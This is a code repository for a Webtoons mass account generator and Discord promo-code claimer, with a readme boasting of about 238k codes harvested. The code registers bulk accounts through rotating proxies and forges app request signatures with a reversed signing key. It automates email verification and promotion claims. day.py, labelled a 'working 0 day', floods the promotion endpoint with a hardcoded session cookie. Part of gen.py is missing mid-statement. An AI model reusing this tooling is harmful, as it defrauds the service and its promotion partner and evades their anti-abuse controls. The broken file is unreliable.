├── output └── promos.txt ├── input └── proxies.txt ├── .gitattributes ├── config.yaml ├── sign.py ├── readme.md ├── day.py ├── server.py └── gen.py /output/promos.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /input/proxies.txt: -------------------------------------------------------------------------------- 1 | ip:port 2 | username:password@ip:port 3 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto -------------------------------------------------------------------------------- /config.yaml: -------------------------------------------------------------------------------- 1 | hotmailbox_api_key: "" 2 | 3 | scrape_proxy: false 4 | email_type: "api or custom" 5 | custom_mail_domain: "fingerptinting.lol" 6 | -------------------------------------------------------------------------------- /sign.py: -------------------------------------------------------------------------------- 1 | # webtoons sign reversed 2 | from rsa import PublicKey, encrypt as rsae 3 | from binascii import hexlify 4 | from urllib.parse import quote 5 | from hmac import new 6 | from hashlib import sha1 7 | from time import time, time 8 | from base64 import b64encode 9 | 10 | 11 | class Sign: 12 | def __init__(self) -> None: 13 | self.sign_key = b"gUtPzJFZch4ZyAGviiyH94P99lQ3pFdRTwpJWDlSGFfwgpr6ses5ALOxWHOIT7R1" 14 | 15 | def get_message(self, string, stamp): 16 | string = string[:min(255, len(string))] 17 | return string + stamp 18 | 19 | def sign(self, uri): 20 | mac = new(self.sign_key, digestmod=sha1) 21 | stamp = str(int(time() * 1000)) 22 | 23 | mac.update(self.get_message(uri, stamp).encode('utf-8')) 24 | 25 | md = quote(b64encode(mac.digest())) 26 | 27 | builder = [] 28 | builder.append(uri) 29 | builder.append('&') if '?' in uri else builder.append('?') 30 | 31 | builder.append("msgpad=" + stamp) 32 | builder.append("&md=" + md) 33 | 34 | return ''.join(builder) 35 | 36 | def chrlen(self, n: str) -> str: 37 | return chr(len(n)) 38 | 39 | def encrypt(self, json, mail, pw): 40 | string = f"{self.chrlen(json['sessionKey'])}{json['sessionKey']}{self.chrlen(mail)}{mail}{self.chrlen(pw)}{pw}".encode() 41 | mod = int(json['nvalue'], 16) 42 | evl = int(json['evalue'], 16) 43 | pbk = PublicKey(evl, mod) 44 | out = rsae(string, pbk) 45 | 46 | return hexlify(out).decode('utf-8') 47 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 |
6 | This is the code of a Webtoons account generator and promo claimer 7 |
8 | 9 | 10 |
11 |
12 |
13 |
14 |
17 |
18 |
19 |
20 |
21 |
We generated around 238k promos, but discord reverted them 😡
42 |
43 |
44 | ---
45 |
46 | ## 🔥 Features
47 | ```sh-session
48 | ✔ Generates Webtoon accounts
49 | ✔ Saves promo codes
50 | ✔ Proxy support
51 | ✔ tidal.lol and hotmailbox support
52 | ✔ good config
53 | ✔ fast
54 | ```
55 | ---
56 |
57 |
58 |
59 | ---
60 |
61 | ## 🚀・Setup
62 |
63 | ```sh-session
64 | > download zip file
65 | > install requirements
66 | > make changes in the config.yaml file
67 | > run gen.py
68 | > run server.py
69 | ```
70 |
71 | ## 🎉・Disclaimer
72 | ```sh-session
73 | - It takes up to 20hours to receive a cod, because wbtoon randomly sends them.
74 | - The promo ends on June 8th, so this is the last update.
75 | - Dont judge the shit code. Ninja got his hands on it.
76 | ```
77 |
78 |
79 |
80 |
81 |
82 | ## 📄・License
83 |
84 | This project is licensed under the GPL General Public License v3.0 License
85 | ```js
86 | ・Educational purpose only and all your consequences caused by you actions is your responsibility
87 | ・Selling this Free Script is forbidden
88 | ・If you make a copy of this/or fork it, it must be open-source and have credits linking to this repo
89 | ```
90 |
91 | ## 💭・ChangeLog
92 |
93 | ```diff
94 |
95 | v1 ⋮ 2023-06-04
96 | + Added Main Script
97 | + Cleaned up Code
98 | + Will never be updated again
99 | ```
100 |
101 | 102 | 103 | README.md inspired from Rdimo 104 |
105 | -------------------------------------------------------------------------------- /day.py: -------------------------------------------------------------------------------- 1 | # this was the code of a working webtoons 0 day (generated around 250k codes (reason why they were reverted 💀)) 2 | from httpx import get 3 | from threading import Thread, active_count 4 | 5 | proxy = open("proxies.txt").read().splitlines() 6 | 7 | def redeem(): 8 | try: 9 | url = f"https://m.webtoons.com/app/promotion/saveCompleteInfo?promotionName=en_discord_phase1_202305&dev=true&memo=(obv not putting my email)" 10 | 11 | headers = { 12 | "accept" : "application/json, text/plain, */*", 13 | "accept-encoding" : "gzip, deflate", 14 | "accept-language" : "en-US,en;q=0.9,de-DE;q=0.8,de;q=0.7", 15 | "connection" : "keep-alive", 16 | "cookie" : "wtu=3e9bb7fb1d6cc4dcb1e1614145fce504; wtv=2; wts=1684173859009; needCCPA=false; needCOPPA=false; countryCode=DE; NEO_SES=\"f9UtJrCbvJDCdEVA5w/LmwYLC4agY7c9NgqKdpBNB70M3n/7j8nTrp9o20chaTzvnOhERuznIrldw7VDBDhCUX46qxllB35LxskK66I/l28n6kvPy6xNoHfQVSI7jBFYEov/w78USFBcz3V847kAGr5ayGG8lT4mr7a7XQCEIBAXezhd9+Bdh7cuERajR72otl8u3A7MlAq65o4RL2jClmuU8oFMFgm/vEqGDTTFHPnAWn+lvGkkp9SGwXy+x465zD+vRO6+POIByizOWFJS2eolBAeVR9c+GkuZhRIQtBmf8v1Ew64ItCsSFn0iRUOomPOBK1QbGPSfoAGCIN5L/u1k3hj42ac/YsYP7LTRQVogUNsIoBTcsZ1HW0hFwIKx8MvP+80KGEAWIVQBViLoiubWr8Jt+DdLhaUewSkfLm8=\"; NEO_CHK=PZTO+AJBfWvbsLj1CVg9sojtbyzqv9UI808pd9ZJCXc+KZitaH5y/9Ie2YyAhWc0EyYDKN+oXETHPAsgCSl5TEiAa2lPoTe+6rSDSEH5vMsQRHEBgYO07hjcRyDq0oC33bCAvrP+LcTOUN1ZU02h3g==; contentLanguage=en; locale=en; needGDPR=false; inAppNeedGDPR=true; inAppNeedCCPA=false; inAppNeedCOPPA=false; latGDPR=ADULT; latccGDPR=DE",#"wtu=3e9bb7fb1d6cc4dcb1e1614145fce504; wtv=2; wts=1684173859009; needCCPA=false; needCOPPA=false; countryCode=DE; NEO_SES=\"f9UtJrCbvJDCdEVA5w/LmwYLC4agY7c9NgqKdpBNB70M3n/7j8nTrp9o20chaTzvnOhERuznIrldw7VDBDhCUX46qxllB35LxskK66I/l28n6kvPy6xNoHfQVSI7jBFYEov/w78USFBcz3V847kAGr5ayGG8lT4mr7a7XQCEIBAXezhd9+Bdh7cuERajR72otl8u3A7MlAq65o4RL2jClmuU8oFMFgm/vEqGDTTFHPnAWn+lvGkkp9SGwXy+x465zD+vRO6+POIByizOWFJS2eolBAeVR9c+GkuZhRIQtBmf8v1Ew64ItCsSFn0iRUOomPOBK1QbGPSfoAGCIN5L/u1k3hj42ac/YsYP7LTRQVogUNsIoBTcsZ1HW0hFwIKx8MvP+80KGEAWIVQBViLoiubWr8Jt+DdLhaUewSkfLm8=\"; NEO_CHK=PZTO+AJBfWvbsLj1CVg9sojtbyzqv9UI808pd9ZJCXc+KZitaH5y/9Ie2YyAhWc0EyYDKN+oXETHPAsgCSl5TEiAa2lPoTe+6rSDSEH5vMsQRHEBgYO07hjcRyDq0oC33bCAvrP+LcTOUN1ZU02h3g==; contentLanguage=en; locale=en; needGDPR=false; inAppNeedGDPR=true; inAppNeedCCPA=false; inAppNeedCOPPA=false; latGDPR=ADULT; latccGDPR=DE", 17 | "host" : "m.webtoons.com", 18 | "referer" : "https://m.webtoons.com/app/promotion/read/en_discord_phase1_202305/progress?platform=APP_ANDROID", 19 | "sec-fetch-dest" : "empty", 20 | "sec-fetch-mode" : "cors", 21 | "sec-fetch-site" : "same-origin", 22 | "user-agent" : "Mozilla/5.0 (Linux; Android 7.1.2; SM-N976N Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.131 Mobile Safari/537.36 linewebtoon/2.12.5 (GLOBAL; EAF)", 23 | "x-requested-with" : "com.naver.linewebtoon" 24 | } 25 | 26 | print(f"[+] ", get(url, headers=headers).text) 27 | 28 | except: 29 | pass 30 | 31 | 32 | while True: 33 | while active_count() < 100: 34 | Thread(target=redeem).start() 35 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, make_response 2 | from threading import Thread 3 | from time import sleep, time , strftime 4 | from random import randint 5 | from re import search 6 | from colorama import Fore,init 7 | from os import system 8 | from requests import get 9 | from threading import Thread, Lock 10 | import logging 11 | import imaplib 12 | import email 13 | 14 | init(autoreset=True) 15 | app = Flask("Ninja x Kian") 16 | logging.getLogger('werkzeug').setLevel(logging.ERROR) 17 | email_list = [] 18 | host = "0.0.0.0" 19 | port = 8080 20 | 21 | data_title = { 22 | 'promos': 0, 23 | 'emails': 0 24 | } 25 | def update_title(): 26 | while True: 27 | system('title Promofier Server By NinjaRide x xKian ^> Genned: [%s] ^| Emails: [%s]' % (data_title['promos'],data_title['emails'])) 28 | sleep(.1) 29 | 30 | 31 | def get_email_api_promo(user,pasw, attempt): 32 | 33 | print(f"{Fore.LIGHTBLACK_EX}{strftime('%H:%M:%S')} | {Fore.LIGHTWHITE_EX}Fetching From {Fore.WHITE}-> {Fore.GREEN}{user}:{pasw} {Fore.WHITE}[Attempt: {attempt}]") 34 | 35 | imap = imaplib.IMAP4_SSL('outlook.office365.com') ; logged = False 36 | 37 | for _ in range(3): # Error Handling Needed 38 | try: 39 | imap.login(user, pasw) ; logged = True ; break 40 | except: 41 | sleep(1) 42 | pass 43 | 44 | if not logged: 45 | return False 46 | 47 | 48 | imap.select('INBOX') 49 | 50 | _, data = imap.search(None, 'ALL') 51 | email_ids = data[0].split() 52 | 53 | for email_id in email_ids: 54 | 55 | _, msg_data = imap.fetch(email_id, '(RFC822)') 56 | msg = email.message_from_bytes(msg_data[0][1]) 57 | 58 | if msg.is_multipart(): 59 | for part in msg.walk(): 60 | 61 | content_type = part.get_content_type() 62 | 63 | if content_type == 'text/html': 64 | 65 | try: 66 | body = part.get_payload(decode=True).decode() 67 | except: 68 | pass 69 | 70 | if "https://promos.discord.gg/" in body: 71 | 72 | promo_re = search(r"https:\/\/promos\.discord\.gg\/(\w+)", body) 73 | 74 | print(f"{Fore.LIGHTBLACK_EX}{strftime('%H:%M:%S')} | {Fore.MAGENTA}Fetched Promo {Fore.WHITE}-> {Fore.GREEN}{promo_re.group(1)}") 75 | open("output/promos.txt","a", encoding='utf-8').write(f"https://promos.discord.gg/{promo_re.group(1)}\n") 76 | data_title['promos'] += 1 77 | 78 | imap.close() ; imap.logout() 79 | return True 80 | 81 | imap.close() ; imap.logout() 82 | return False 83 | 84 | def get_email_custom_promo(user, attempt): 85 | 86 | print(f"{Fore.LIGHTBLACK_EX}{strftime('%H:%M:%S')} | {Fore.LIGHTWHITE_EX}Fetching From {Fore.WHITE}-> {Fore.GREEN}{user} {Fore.WHITE}[Attempt: {attempt}]") 87 | 88 | 89 | email_data = get(f"https://api.tidal.lol/api/v1/emails/{user}").json() 90 | 91 | if email_data['emails'] is not None: 92 | emails = email_data.get('emails', []) 93 | for mail in emails: 94 | body = mail.get('body', {}) 95 | html_body = body.get('html', '') 96 | if "https://promos.discord.gg/" in html_body: 97 | 98 | print(html_body) 99 | promo_re = search(r"https:\/\/promos\.discord\.gg\/(\w+)", body) 100 | 101 | print(f"{Fore.LIGHTBLACK_EX}{strftime('%H:%M:%S')} | {Fore.MAGENTA}Fetched Promo {Fore.WHITE}-> {Fore.GREEN}{promo_re.group(1)}") 102 | open("output/promos.txt","a", encoding='utf-8').write(f"https://promos.discord.gg/{promo_re.group(1)}\n") 103 | data_title['promos'] += 1 104 | 105 | return True 106 | 107 | return False 108 | 109 | def check_email(email): 110 | if time() - email['time'] > 60 and email['attempts'] <= 90: # If 60 seconds have not passed , and it has not done 10 attempts then try to fetch promo 111 | with Lock(): 112 | email['time'] = time() # reset timer 113 | email['attempts'] += 1 114 | 115 | 116 | 117 | if email['pass'] != "kianXninjaBestTeam": 118 | for _ in range(3): 119 | try: 120 | if get_email_api_promo(email['user'],email['pass'],email['attempts']): 121 | with Lock(): 122 | email_list.remove(email) 123 | break 124 | 125 | except: 126 | sleep(randint(1,10)) 127 | pass 128 | 129 | else: 130 | if get_email_custom_promo(email['user'],email['attempts']): 131 | with Lock(): 132 | email_list.remove(email) 133 | 134 | 135 | 136 | elif email['attempts'] >= 90: # Check the attempts, and remove it 137 | with Lock(): 138 | email_list.remove(email) 139 | 140 | print(f"{Fore.LIGHTBLACK_EX}{strftime('%H:%M:%S')} | {Fore.LIGHTWHITE_EX}Failed To Fetch From {Fore.WHITE}-> {Fore.RED}{email['user']}:{email['pass']} {Fore.WHITE}[Removing...]") 141 | 142 | def email_promo(): 143 | while True: 144 | for email in email_list: 145 | Thread(target=check_email,args=(email,)).start() 146 | sleep(0.01) 147 | 148 | 149 | @app.route("/") 150 | def main_route(): 151 | return """NinjaRide X xKian PromoGen Active""" 152 | 153 | @app.route("/addemail", methods=["post"]) 154 | def license_route(): 155 | data = request.get_json() 156 | data_title['emails'] += 1 157 | email_list.append({ 158 | 'user': data['user'], 159 | 'pass': data['pass'], 160 | 'attempts': 0, 161 | 'time': time() 162 | }) 163 | 164 | print(f"{Fore.LIGHTBLACK_EX}{strftime('%H:%M:%S')} | {Fore.LIGHTWHITE_EX}New Email {Fore.WHITE}-> {Fore.GREEN}{data['user']}:{data['pass']}") 165 | 166 | response = make_response({"message": "success"}) 167 | response.status = "200" 168 | return response 169 | 170 | Thread(target=email_promo,daemon=True).start() 171 | Thread(target=update_title,daemon=True).start() 172 | app.run(host="0.0.0.0", port=6969) 173 | -------------------------------------------------------------------------------- /gen.py: -------------------------------------------------------------------------------- 1 | from httpx import Client, get, post 2 | from random import randint, choices, choice 3 | from string import ascii_lowercase, digits, ascii_letters 4 | from re import search 5 | from time import sleep 6 | from rsa import PublicKey, encrypt as rsae 7 | from binascii import hexlify 8 | from urllib.parse import urlencode, quote 9 | from threading import Thread, active_count, Lock 10 | from hmac import new 11 | from hashlib import sha1 12 | from time import time,sleep,strftime, time 13 | from base64 import b64encode 14 | from colorama import Fore, init 15 | from secrets import token_urlsafe 16 | from os import system 17 | from sys import exit 18 | from yaml import safe_load 19 | from multiprocessing import freeze_support 20 | 21 | import imaplib 22 | import email 23 | 24 | init(autoreset=True) 25 | lock = Lock() 26 | def sprint(text: str, tid: int, sp: str) -> None: 27 | lock.acquire() 28 | 29 | tid = str(tid) +"]" +" " * (3 - len(str(tid))) 30 | print(f"{Fore.LIGHTBLACK_EX}{strftime('%H:%M:%S')} | {Fore.LIGHTWHITE_EX}Thread [{tid} {Fore.LIGHTBLACK_EX}| {Fore.LIGHTWHITE_EX}{text} {Fore.WHITE}-> {Fore.GREEN}{sp}") 31 | 32 | lock.release() 33 | 34 | config = safe_load(open("config.yaml", "r")) 35 | proxies = open("input/proxies.txt","r", encoding='utf-8').read().splitlines() 36 | 37 | 38 | email_list = [] 39 | 40 | data_title = { 41 | 'promos' : 0, 42 | 'api_bal' : 0, 43 | 'email_purchased' : 0, 44 | 'fails' : 0, 45 | 'finished' : 0, 46 | 'cpm' : 0 47 | } 48 | 49 | 50 | def proxy_scraper(): 51 | while True: 52 | try: 53 | r = get("https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=250&country=all&ssl=all&anonymity=all")#need to find a sweet spot 54 | proxies_write = open("input/proxies.txt", "wb") ; proxies_write.write(r.content) ; proxies_write.close() 55 | globals()["proxies"] = open("input/proxies.txt","r", encoding='utf-8').read().splitlines() 56 | sleep(300) 57 | except:pass 58 | 59 | def fetch_api_balance(): 60 | while True: 61 | try: 62 | data_title['api_bal'] = int(get(f"https://api.hotmailbox.me/user/balance?apikey={config['hotmailbox_api_key']}").json()['Balance']) 63 | 64 | except:sleep(1) 65 | 66 | def update_title(): 67 | while True: 68 | system('title Promofier By NinjaRide x xKian ^> Finished: [%s] ^| Emails: [%s] ^| Api Balance: [%s] ^| Fails: [%s] ^| Threads: [%s] ^| Elapsed: [%ss]' % ( 69 | data_title['finished'], 70 | data_title['email_purchased'], 71 | data_title['api_bal'], 72 | data_title['fails'], 73 | active_count() - 5 if config['email_type'] == "api" else active_count() - 4, 74 | round(time() - start, 2) 75 | )) 76 | sleep(.1) 77 | 78 | 79 | def getcookies(): 80 | return { 81 | "wtu" : token_urlsafe(24), 82 | "locale" : "en", 83 | "needGDPR" : "true", 84 | "needCCPA" : "false", 85 | "needCOPPA" : "false", 86 | "countryCode" : "RO", 87 | "timezoneOffset" : "+3", 88 | "ctZoneId" : "Europe/Bucharest", 89 | "wtv" : "1", 90 | "wts" : str(int(time() * 1000)), 91 | "__cmpconsentx47472" : f"{token_urlsafe(2)}_{token_urlsafe(3)}_{token_urlsafe(25)}", 92 | "__cmpcccx47472" : token_urlsafe(18), 93 | "_fbp" : "fb.1.1684479996310.2019224647", 94 | "_scid" : "858a934e-433c-4e07-b4c3-c1a1b9becc34", 95 | "_gid" : "GA1.2.1016427982.1684479996", 96 | "_tt_enable_cookie" : "1", 97 | "_ttp" : "2dlVmcQxdz_oQTW_6zMA2eNlFy3", 98 | "_scid_r" : "858a934e-433c-4e07-b4c3-c1a1b9becc34", 99 | "_ga" : "GA1.1.1939944414.1684479996", 100 | "_ga_ZTE4EZ7DVX" : "GS1.1.1684486049.2.0.1684486049.60.0.0", 101 | } 102 | 103 | def click_email(email_link): 104 | for _ in range(10): 105 | try: 106 | get(email_link,headers = { 107 | "accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", 108 | "accept-encoding" : "gzip, deflate, br", 109 | "accept-language" : "en-US,en;q=0.9", 110 | "connection" : "keep-alive", 111 | "content-type" : "application/x-www-form-urlencoded; charset=UTF-8", 112 | "host" : "www.webtoons.com", 113 | "origin" : "https://www.webtoons.com", 114 | "referer" : "https://www.webtoons.com/member/join?loginType=EMAIL", 115 | "sec-ch-ua" : "\"Google Chrome\";v=\"113\", \"Chromium\";v=\"113\", \"Not-A.Brand\";v=\"24\"", 116 | "sec-ch-ua-full-version-list" : "\"Google Chrome\";v=\"113.0.5672.93\", \"Chromium\";v=\"113.0.5672.93\", \"Not-A.Brand\";v=\"24.0.0.0\"", 117 | "sec-ch-ua-mobile" : "?0", 118 | "sec-ch-ua-model" : "\"\"", 119 | "sec-ch-ua-platform" : "\"Windows\"", 120 | "sec-ch-ua-platform-version" : "\"10.0.0\"", 121 | "sec-fetch-dest" : "empty", 122 | "sec-fetch-mode" : "cors", 123 | "sec-fetch-site" : "same-origin", 124 | "user-agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36", 125 | }, cookies=getcookies(),proxies=f"http://{choice(proxies)}") 126 | return 127 | except: 128 | pass 129 | 130 | def get_email_data_api(user,pasw,name_acc,thread_id): 131 | 132 | imap = imaplib.IMAP4_SSL('outlook.office365.com') ; logged = False 133 | 134 | for _ in range(3): # Error Handling Needed 135 | try: 136 | imap.login(user, pasw) ; logged = True ; break 137 | except: 138 | sleep(1) 139 | pass 140 | 141 | if not logged: 142 | return False 143 | 144 | for i in range(6): 145 | imap.select('INBOX') 146 | 147 | _, data = imap.search(None, 'ALL') 148 | email_ids = data[0].split() 149 | 150 | for email_id in email_ids: 151 | 152 | _, msg_data = imap.fetch(email_id, '(RFC822)') 153 | msg = email.message_from_bytes(msg_data[0][1]) 154 | 155 | if msg.is_multipart(): 156 | for part in msg.walk(): 157 | 158 | content_type = part.get_content_type() 159 | 160 | try: 161 | body = part.get_payload(decode=True).decode() 162 | except: 163 | pass 164 | 165 | if content_type == "text/html" and "EMAIL_JOIN" in str(body): 166 | 167 | body = body.split('"') 168 | for sex in body: 169 | if "https://www.webtoons.com/" in sex and ";type=EMAIL_JOIN" in sex and ">" not in sex: 170 | email_link = sex.replace("&",'').replace(";","&") 171 | click_email(email_link) 172 | 173 | imap.close() ; imap.logout() 174 | sprint(f"Verified", thread_id, user) 175 | 176 | return True 177 | 178 | imap.close() ; imap.logout() 179 | return False 180 | 181 | 182 | def get_email_custom(user,_,__,thread_id): 183 | for _ in range(15): 184 | email_data = get(f"https://api.tidal.lol/api/v1/emails/{user}").json() 185 | if email_data['emails'] is not None: 186 | emails = email_data.get('emails', []) 187 | for mail in emails: 188 | body = mail.get('body', {}) 189 | html_body = body.get('html', '') 190 | if "https://www.webtoons.com/" in html_body and "emailVerification" in html_body: 191 | click_email(html_body.split(' {Fore.RED}Balance Too Low: [{key_balance_check['Balance']}]") 277 | exit() 278 | else: 279 | input(f"{Fore.LIGHTBLACK_EX}{strftime('%H:%M:%S')} | {Fore.LIGHTWHITE_EX}Invalid Config -> {Fore.RED}Invalid HotMailBox Key | [{config['hotmailbox_api_key']}]") 280 | exit() 281 | 282 | class Sign: 283 | def __init__(self) -> None: 284 | self.sign_key = b"gUtPzJFZch4ZyAGviiyH94P99lQ3pFdRTwpJWDlSGFfwgpr6ses5ALOxWHOIT7R1" 285 | 286 | def get_message(self, string, stamp): 287 | string = string[:min(255, len(string))] 288 | return string + stamp 289 | 290 | def sign(self, uri): 291 | mac = new(self.sign_key, digestmod=sha1) 292 | stamp = str(int(time() * 1000)) 293 | 294 | mac.update(self.get_message(uri, stamp).encode('utf-8')) 295 | 296 | md = quote(b64encode(mac.digest())) 297 | 298 | builder = [] 299 | builder.append(uri) 300 | builder.append('&') if '?' in uri else builder.append('?') 301 | 302 | builder.append("msgpad=" + stamp) 303 | builder.append("&md=" + md) 304 | 305 | return ''.join(builder) 306 | 307 | def chrlen(self, n: str) -> str: 308 | return chr(len(n)) 309 | 310 | def encrypt(self, json, mail, pw): 311 | string = f"{self.chrlen(json['sessionKey'])}{json['sessionKey']}{self.chrlen(mail)}{mail}{self.chrlen(pw)}{pw}".encode() 312 | mod = int(json['nvalue'], 16) 313 | evl = int(json['evalue'], 16) 314 | pbk = PublicKey(evl, mod) 315 | out = rsae(string, pbk) 316 | 317 | return hexlify(out).decode('utf-8') 318 | 319 | class Register: 320 | 321 | def __init__(self,mail,thread_id) -> None: 322 | self.pw = "NinjaAndxKian" 323 | self.thread_id = thread_id 324 | self.mail = mail 325 | 326 | self.session = Client(headers = { 327 | "accept" : "*/*", 328 | "accept-encoding" : "gzip, deflate, br", 329 | "accept-language" : "en-US,en;q=0.9", 330 | "connection" : "keep-alive", 331 | "content-type" : "application/x-www-form-urlencoded; charset=UTF-8", 332 | "host" : "www.webtoons.com", 333 | "origin" : "https://www.webtoons.com", 334 | "referer" : "https://www.webtoons.com/member/join?loginType=EMAIL", 335 | "sec-ch-ua" : "\"Google Chrome\";v=\"113\", \"Chromium\";v=\"113\", \"Not-A.Brand\";v=\"24\"", 336 | "sec-ch-ua-full-version-list" : "\"Google Chrome\";v=\"113.0.5672.93\", \"Chromium\";v=\"113.0.5672.93\", \"Not-A.Brand\";v=\"24.0.0.0\"", 337 | "sec-ch-ua-mobile" : "?0", 338 | "sec-ch-ua-model" : "\"\"", 339 | "sec-ch-ua-platform" : "\"Windows\"", 340 | "sec-ch-ua-platform-version" : "\"10.0.0\"", 341 | "sec-fetch-dest" : "empty", 342 | "sec-fetch-mode" : "cors", 343 | "sec-fetch-site" : "same-origin", 344 | "user-agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36", 345 | "x-requested-with" : "XMLHttpRequest" 346 | },proxies=f"http://{choice(proxies)}",timeout=10) 347 | 348 | def getBirth(self) -> dict: 349 | return { 350 | "year" : "1987", 351 | "month" : str(randint(1, 11)), 352 | "dayOfMonth" : str(randint(1, 20)) 353 | } 354 | 355 | def getData(self) -> dict: 356 | return self.session.get("https://www.webtoons.com/member/login/rsa/getKeys").json() 357 | 358 | def cook(self) -> None: 359 | self.session.get("https://gak.webtoons.com/v1/web/cookie") 360 | 361 | def register(self) -> str: 362 | try: 363 | self.cook() 364 | self.name = "".join(choices(ascii_lowercase, k=18)) 365 | url = "https://www.webtoons.com/member/join/doJoinById" 366 | json = self.getData() 367 | data = urlencode({ 368 | **self.getBirth(), 369 | "loginType" : "EMAIL", 370 | "nickname" : self.name, 371 | "encnm" : json["keyName"], 372 | "encpw" : Sign().encrypt(json, self.mail, self.pw), 373 | "zoneId" : "Europe/Berlin", 374 | "emailEventAlarm" : "false", 375 | }) 376 | 377 | self.session.post(url, data=data) 378 | sprint(f"Registered Account." , self.thread_id, self.name) 379 | return self.name 380 | 381 | except Exception as e: 382 | Register(self.mail,self.thread_id).register() # Error Handling Needed 383 | return 384 | 385 | class Claim: 386 | def __init__(self, email, password, name, thread_id) -> None: 387 | self.session = Client(headers = { 388 | "accept-encoding" : "gzip", 389 | "connection" : "Keep-Alive", 390 | "content-type" : "application/x-www-form-urlencoded", 391 | "host" : "global.apis.naver.com", 392 | "user-agent" : "Android/9 Model/SM-N975F com.naver.linewebtoon/2.12.5(2120500,uid:10059) NeoIdSignInMod/0.1.12", 393 | },proxies=f"http://{choice(proxies)}",timeout=10) 394 | 395 | self.sign = Sign().sign 396 | self.email = email 397 | self.password = password 398 | self.name = name 399 | self.thread_id = thread_id 400 | 401 | def getData(self) -> dict: 402 | for _ in range(10): 403 | try: 404 | return self.session.get(self.sign("https://global.apis.naver.com/lineWebtoon/webtoon/getRsaKey.json?v=1&platform=APP_ANDROID&language=en&serviceZone=GLOBAL&locale=en")).json()["message"]["result"] 405 | except: 406 | continue #sprint(f"Error", self.thread_id, f"{Fore.RED}Failed To Get Data") 407 | 408 | def read(self): 409 | 410 | for page in range(1, 5): 411 | self.headers_read = { 412 | "accept-encoding" : "gzip", 413 | "connection" : "Keep-Alive", 414 | "host" : "global.apis.naver.com", 415 | "user-agent" : "nApps (Android 9; SM-N975F; linewebtoon; 2.12.5)", 416 | "cookie" : f'NEO_SES="{self.ses}"' 417 | } 418 | params = urlencode({ 419 | "v" : "2", 420 | "webtoonType" : "WEBTOON", 421 | "titleNo" : "5291", 422 | "episodeNo" : str(page), 423 | "platform" : "APP_ANDROID", 424 | "language" : "en", 425 | "serviceZone" : "GLOBAL&&", 426 | "locale" : "en" 427 | }) 428 | 429 | url = f"https://global.apis.naver.com/lineWebtoon/webtoon/eventReadLog.json?{params}" 430 | for _ in range(3): 431 | try: # Error Handling Needed 432 | page_read = self.session.get(self.sign(url), headers=self.headers_read).json() 433 | 434 | if page_read['message']['result']["progressType"] != "NONE": 435 | self.session.get(page_read['message']['result']["pageUrl"],headers={ 436 | "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", 437 | "accept-encoding": "gzip, deflate", 438 | "accept-language": "en-US,en;q=0.9", 439 | "connection": "keep-alive", 440 | "host": "m.webtoons.com", 441 | "sec-fetch-dest": "document", 442 | "sec-fetch-mode": "navigate", 443 | "sec-fetch-site": "none", 444 | "sec-fetch-user": "?1", 445 | "upgrade-insecure-requests": "1", 446 | "user-agent": "Mozilla/5.0 (Linux; Android 9; SM-N975F Build/PI; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/113.0.5672.131 Mobile Safari/537.36 linewebtoon/2.12.5 (GLOBAL; EAF)", 447 | "x-requested-with": "com.naver.linewebtoon" 448 | }, cookies=getcookies()) 449 | break 450 | except Exception as e: 451 | pass 452 | 453 | 454 | 455 | def claim(self): 456 | self.session.headers = { 457 | "accept" : "application/json, text/plain, */*", 458 | "accept-encoding" : "gzip, deflate", 459 | "accept-language" : "en-US,en;q=0.9", 460 | "connection" : "keep-alive", 461 | "host" : "m.webtoons.com", 462 | "referer" : "https://m.webtoons.com/app/promotion/read/en_discord_phase1_202305/progress?platform=APP_ANDROID", 463 | "sec-fetch-dest" : "empty", 464 | "sec-fetch-mode" : "cors", 465 | "sec-fetch-site" : "same-origin", 466 | "user-agent" : "Mozilla/5.0 (Linux; Android 9; SM-N975F Build/PI; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/113.0.5672.131 Mobile Safari/537.36 linewebtoon/2.12.5 (GLOBAL; EAF)", 467 | "x-requested-with" : "com.naver.linewebtoon", 468 | } 469 | 470 | self.session.cookies = getcookies() 471 | self.session.cookies.set("NEO_SES", self.ses) 472 | for _ in range(10): 473 | try: # Error Handling Needed 474 | url = f"https://m.webtoons.com/app/promotion/saveCompleteInfo?promotionName=en_discord_phase1_202305&memo={self.email.replace('@', '%40')}" 475 | break 476 | except Exception as e: 477 | pass 478 | 479 | if self.session.get(url, timeout=15).text == "true": 480 | sprint(f"Clicked Promotion", self.thread_id, str(self.email)) 481 | 482 | def redeem(self): 483 | json = self.getData() 484 | url = "https://global.apis.naver.com/lineWebtoon/webtoon/loginById.json" 485 | data = urlencode({ 486 | "v" : "2", 487 | "encnm" : json["keyName"], 488 | "encpw" : Sign().encrypt(json, self.email, self.password), 489 | "language" : "en", 490 | "loginType" : "EMAIL", 491 | "serviceZone" : "GLOBAL", 492 | }) 493 | 494 | self.ses = self.session.post(url, data=data).json()["message"]["result"]["ses"] 495 | 496 | self.session.cookies.set("NEO_SES", self.ses) 497 | self.session.headers["user-agent"] = "nApps (Android 7.1.2; G011A; linewebtoon; 2.12.5)" 498 | 499 | self.read() 500 | 501 | sprint(f"Read The Pages ", self.thread_id, self.email) 502 | self.claim() 503 | 504 | def main(thread_id): 505 | while True: 506 | try: 507 | 508 | with Lock(): 509 | while True: 510 | try: 511 | full_mail = email_list.pop(0) 512 | mail = full_mail.split(":")[0] 513 | password = full_mail.split(":")[1] 514 | break 515 | except: 516 | sleep(1) 517 | pass 518 | 519 | if mail == "nobalance": 520 | return False 521 | 522 | 523 